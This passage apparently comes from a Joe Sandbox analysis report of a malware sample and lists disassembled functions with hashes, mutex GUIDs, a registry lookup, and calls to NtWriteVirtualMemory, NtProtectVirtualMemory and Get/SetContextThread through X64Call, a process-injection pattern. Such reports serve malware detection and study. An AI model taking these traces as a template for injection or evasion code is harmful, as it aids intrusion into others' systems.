Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Uninitialize$CreateFromGuidInitializeString
String ID:
API String ID: 46189592-0
Opcode ID: 5cd67f4c8775734f537b20d538af4584ab2fb576d93195c962911de6ffe137ca
Instruction ID: b968780d18cde3a395e7e30d05dfaf40f6597cb76ca2021a948f31f0c36124fb
Opcode Fuzzy Hash: 5cd67f4c8775734f537b20d538af4584ab2fb576d93195c962911de6ffe137ca
Instruction Fuzzy Hash: 3DE092313542099BD752AFB4ED0DFAA37BCAF0C701F405418F909C6150E772E480CB52

Function 00321160 Relevance: 7.5, APIs: 5, Instructions: 25synchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000), ref: 00321534
ReleaseMutex.KERNEL32(00000000), ref: 0032154E
CloseHandle.KERNEL32(00000000), ref: 00321558
CloseHandle.KERNEL32(00000000), ref: 00321568
CloseHandle.KERNEL32(00000000), ref: 00321572

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$MutexRelease
String ID:
API String ID: 2279609368-0
Opcode ID: 5e9a16cf408363ca57efa59102c29214a867436db4b1ae8a1479bc8c8943dbaa
Instruction ID: 46746f711cc4c4e61883be6e2778b3c6a9146999bf74d680c36971c6b2c39058
Opcode Fuzzy Hash: 5e9a16cf408363ca57efa59102c29214a867436db4b1ae8a1479bc8c8943dbaa
Instruction Fuzzy Hash: 46F01C75900204EBC72ADFA4E98CB6EB779FB88301F608588E506A2260C739D984CF50

Function 003064B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

GetProcAddress64.DOWNLOADED_FILE(00000000,?,NtReadVirtualMemory), ref: 003064D4
X64Call.DOWNLOADED_FILE(00000000,00000000,00000005,?,?,?,?,00000000,00000000,?,00000000,?,00000000), ref: 00306554
SetLastErrorFromX64Call.DOWNLOADED_FILE(00000000,?), ref: 00306576

Strings

NtReadVirtualMemory, xrefs: 003064C8

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtReadVirtualMemory
API String ID: 3570319994-2166501906
Opcode ID: 06abd8a9d6c43b0d5136f3d6d757593f2a6595c98acaff8ea6370585e28ee69f
Instruction ID: 15efc77c7e6cd5025b8cb3059d0acd5109414102d6f02560ca9922bbd9c68a10
Opcode Fuzzy Hash: 06abd8a9d6c43b0d5136f3d6d757593f2a6595c98acaff8ea6370585e28ee69f
Instruction Fuzzy Hash: 96310CB0911209EFEF16CF58DC56BAB77B8AB48704F108429F805A72D8E7749990CF61

Function 003065A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

GetProcAddress64.DOWNLOADED_FILE(00000000,?,NtWriteVirtualMemory), ref: 003065C4
X64Call.DOWNLOADED_FILE(00000000,00000000,00000005,?,?,?,?,00000000,00000000,?,00000000,?,00000000), ref: 00306644
SetLastErrorFromX64Call.DOWNLOADED_FILE(00000000,?), ref: 00306666

Strings

NtWriteVirtualMemory, xrefs: 003065B8

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtWriteVirtualMemory
API String ID: 3570319994-3834091833
Opcode ID: d8e168a2e062b80b3e9a05da7ed9dbd2ac79900ad19070cf05917d6b581f986f
Instruction ID: e18856b3039ec413bb9c6b0b30e170901e8d87c19fd037f1d91219d8a9a8182b
Opcode Fuzzy Hash: d8e168a2e062b80b3e9a05da7ed9dbd2ac79900ad19070cf05917d6b581f986f
Instruction Fuzzy Hash: 64316FB0911209EFDB16CF68DC66BBB77B8AB48304F11812EF80597394E7359A90CF60

Function 00306230 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

GetProcAddress64.DOWNLOADED_FILE(00000000,?,NtAllocateVirtualMemory), ref: 00306254
X64Call.DOWNLOADED_FILE(00000000,00000000,00000006,?,00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000), ref: 003062CE
SetLastErrorFromX64Call.DOWNLOADED_FILE(00000000,?), ref: 003062F0

Strings

NtAllocateVirtualMemory, xrefs: 00306248

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtAllocateVirtualMemory
API String ID: 3570319994-3765841899
Opcode ID: 58528c1385be43ab807cb44e8aad1aee6ec638b477d21d04ea451d6b11102804
Instruction ID: 4470acc6d402ced8aad8bdac5a4f6f21b837513fc1d9e8759480708ebf834c9a
Opcode Fuzzy Hash: 58528c1385be43ab807cb44e8aad1aee6ec638b477d21d04ea451d6b11102804
Instruction Fuzzy Hash: A4212CB4D11208EFEB15CFA4EC56BBB77B9EB88300F109529F40897295E7745A948B90

Function 003063E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

GetProcAddress64.DOWNLOADED_FILE(00000000,?,NtProtectVirtualMemory), ref: 00306404
X64Call.DOWNLOADED_FILE(00000000,00000000,00000005,?,00000000,?,00000000,?,00000000,?,00000000,?,00000000), ref: 00306475
SetLastErrorFromX64Call.DOWNLOADED_FILE(00000000,?), ref: 00306497

Strings

NtProtectVirtualMemory, xrefs: 003063F8

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtProtectVirtualMemory
API String ID: 3570319994-1546459799
Opcode ID: 5acb141a5a08c3eb129c49ffbe26450594579b14ab9578c283776b1145210617
Instruction ID: 8860722dfdd5f8d27922455a693c91f9982134c0b70dff73764ebd586ff38a44
Opcode Fuzzy Hash: 5acb141a5a08c3eb129c49ffbe26450594579b14ab9578c283776b1145210617
Instruction Fuzzy Hash: 7D212AB0D11209AFDF15CF65EC66BBB77F8EB88700F40952DF409A6294D7705990CB64

Function 00306310 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetProcAddress64.DOWNLOADED_FILE(00000000,?,NtFreeVirtualMemory), ref: 00306334
X64Call.DOWNLOADED_FILE(00000000,00000000,00000004,?,?,?,00000000,?,00000000,?,00000000), ref: 0030639F
SetLastErrorFromX64Call.DOWNLOADED_FILE(00000000,?), ref: 003063C1

Strings

NtFreeVirtualMemory, xrefs: 00306328

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtFreeVirtualMemory
API String ID: 3570319994-3923168862
Opcode ID: e62443520159deeea680b8794861d4cda0455566e4a412de28b066999c4e1c2b
Instruction ID: 7125efb014c3d168728c33fd91eabb82eaa7a9172bc6fdf3efc46aac9bd175d6
Opcode Fuzzy Hash: e62443520159deeea680b8794861d4cda0455566e4a412de28b066999c4e1c2b
Instruction Fuzzy Hash: C32179B4D10208EFDB16CF64EC62BBA73B9EB88300F00946DF408972A5E2705990CFE0

Function 00306160 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

GetProcAddress64.DOWNLOADED_FILE(00000000,?,NtQueryVirtualMemory), ref: 00306184
X64Call.DOWNLOADED_FILE(00000000,00000000,00000006,00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003061F1
SetLastErrorFromX64Call.DOWNLOADED_FILE(00000000,?), ref: 00306213

Strings

NtQueryVirtualMemory, xrefs: 00306178

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtQueryVirtualMemory
API String ID: 3570319994-66515852
Opcode ID: d6712164fcf818735b870b53cc19dfd05892f8844bb22de8c10442b0a0211264
Instruction ID: 3089e2fc2de1a07681e4c292d694ae54cd3b9155e1293883592a37f10d223977
Opcode Fuzzy Hash: d6712164fcf818735b870b53cc19dfd05892f8844bb22de8c10442b0a0211264
Instruction Fuzzy Hash: 4C214DB0D14208AFEB25CF98EC56BBB73BCEB84700F00841CF8089A295D7755A90CF61

Function 00306690 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

GetProcAddress64.DOWNLOADED_FILE(00000000,?,NtGetContextThread), ref: 003066B4
X64Call.DOWNLOADED_FILE(00000000,00000000,00000002,?,?,?,00000000), ref: 003066F9
SetLastErrorFromX64Call.DOWNLOADED_FILE(00000000,?), ref: 0030671B

Strings

NtGetContextThread, xrefs: 003066A8

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtGetContextThread
API String ID: 3570319994-3545450881
Opcode ID: deea9cb023e923c3f4f011cc4e15baac777ef6b1c00b961751f3a03193edd141
Instruction ID: 56279905d559c97c12e14c6618d5275ff62e698dc35bf642352610dcd389c848
Opcode Fuzzy Hash: deea9cb023e923c3f4f011cc4e15baac777ef6b1c00b961751f3a03193edd141
Instruction Fuzzy Hash: B11182B4D11208EFEB22DF74EC57B6A77BCA744714F10902EF809962D5E27159E08F20

Function 00306740 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

GetProcAddress64.DOWNLOADED_FILE(00000000,?,NtSetContextThread), ref: 00306764
X64Call.DOWNLOADED_FILE(00000000,00000000,00000002,?,?,?,00000000), ref: 003067A9
SetLastErrorFromX64Call.DOWNLOADED_FILE(00000000,?), ref: 003067CB

Strings

NtSetContextThread, xrefs: 00306758

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtSetContextThread
API String ID: 3570319994-3779410840
Opcode ID: e157c89b1907c6db99017b4d9e76f192d44e4d367b9e2933e65d89c48e719c39
Instruction ID: 339283c9c68abf40f5cd3ae56396cbde1631d4a1a219240cbc8c6e1c8b7d169e
Opcode Fuzzy Hash: e157c89b1907c6db99017b4d9e76f192d44e4d367b9e2933e65d89c48e719c39
Instruction Fuzzy Hash: DF1182B4911208EFDB22DFB4EC67B6A33FCB744B18F10512CF4088A1C5D37059A4ABA0

Function 0031645E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

_wcscat.LIBCMT ref: 003164A2
__snwprintf.LIBCMT ref: 003164E4
_wcscat.LIBCMT ref: 003164FA
LocalFree.KERNEL32(00000000), ref: 0031685F

Strings

'%s', xrefs: 003164D3

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: _wcscat$FreeLocal__snwprintf
String ID: '%s'
API String ID: 3523142645-2201965518
Opcode ID: 678300493cdce78a8cae450357d30386899df96a4b2b9acca1585e235f4a0d24
Instruction ID: 239e8b87684eac01ebe2e47a114330ef14c796ba66cf6c2bf2b9fbfa51991862
Opcode Fuzzy Hash: 678300493cdce78a8cae450357d30386899df96a4b2b9acca1585e235f4a0d24
Instruction Fuzzy Hash: A7115B7094011CEBDB29DB80CCCABECB779AB64304F208298E0196B195D7749FC4CF90

Function 00304700 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31registryCOMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 0030471F
RegGetValueW.ADVAPI32(80000001,?,{108D3252-20F0-4C1B-940D-6ED5366D8FD3},00000008,00000000,?,?), ref: 00304750

Strings

SOFTWARE\%s, xrefs: 0030470E
{108D3252-20F0-4C1B-940D-6ED5366D8FD3}, xrefs: 00304709, 0030473F

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Value__snwprintf
String ID: SOFTWARE\%s${108D3252-20F0-4C1B-940D-6ED5366D8FD3}
API String ID: 3635966236-2357458413
Opcode ID: cc80f95effe6b77020ad761c4b059cbe826ad336f16158d6a27055af0608c005
Instruction ID: 40e1d05fc26ec30776c7cc195025623c70c279aa7dff422594473db5f82cebff
Opcode Fuzzy Hash: cc80f95effe6b77020ad761c4b059cbe826ad336f16158d6a27055af0608c005
Instruction Fuzzy Hash: D5F0AE71A40708BBD721DA95DC46FD67369DB44B01F104195BE0CA61C0F6F09A844BD4

Function 003101B5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32(00100000,00000000,{8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}), ref: 00310190
CloseHandle.KERNEL32(00000000), ref: 003101A3
Sleep.KERNEL32(00000064), ref: 003101AB

Strings

{8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}, xrefs: 00310184

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandleMutexOpenSleep
String ID: {8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}
API String ID: 2969294566-3746470483
Opcode ID: 72d2f13fe5a0fcf391f91158bbd0fefc3c5371d0c1e7d563d09c751604129690
Instruction ID: 202d1131effe3c65d8a6f46c43beb345bafc88cde69bd64d3dbbf9a2804f930c
Opcode Fuzzy Hash: 72d2f13fe5a0fcf391f91158bbd0fefc3c5371d0c1e7d563d09c751604129690
Instruction Fuzzy Hash: B4E0BF74955305EBD73E9BA0CE0DBE97A74AB08745F204139A506751D0CBF98AC0CA62

Function 00310289 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32(00100000,00000000,{8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}), ref: 00310264
CloseHandle.KERNEL32(00000000), ref: 00310277
Sleep.KERNEL32(00000064), ref: 0031027F
Sleep.KERNEL32(000003E8), ref: 00310290

Strings

{8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}, xrefs: 00310258

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Sleep$CloseHandleMutexOpen
String ID: {8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}
API String ID: 2551712853-3746470483
Opcode ID: e901395d8e9c985d0fe3a05658b79110f4d21e0ce5f9dda6cb2452c92d2b7000
Instruction ID: 9dd0b2af464940125bc343bdf1465e3e55e0ecf4c48b4601d3e6800aa3abd7a6
Opcode Fuzzy Hash: e901395d8e9c985d0fe3a05658b79110f4d21e0ce5f9dda6cb2452c92d2b7000
Instruction Fuzzy Hash: D9E04630A40300EBE76E9BE0C88CBCD3A79BB0C301F285818F106B11C0C7F884C1CA24

Function 00310368 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32(00100000,00000000,{8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}), ref: 00310343
CloseHandle.KERNEL32(00000000), ref: 00310356
Sleep.KERNEL32(00000064), ref: 0031035E
Sleep.KERNEL32(000003E8), ref: 0031036F

Strings

{8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}, xrefs: 00310337

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

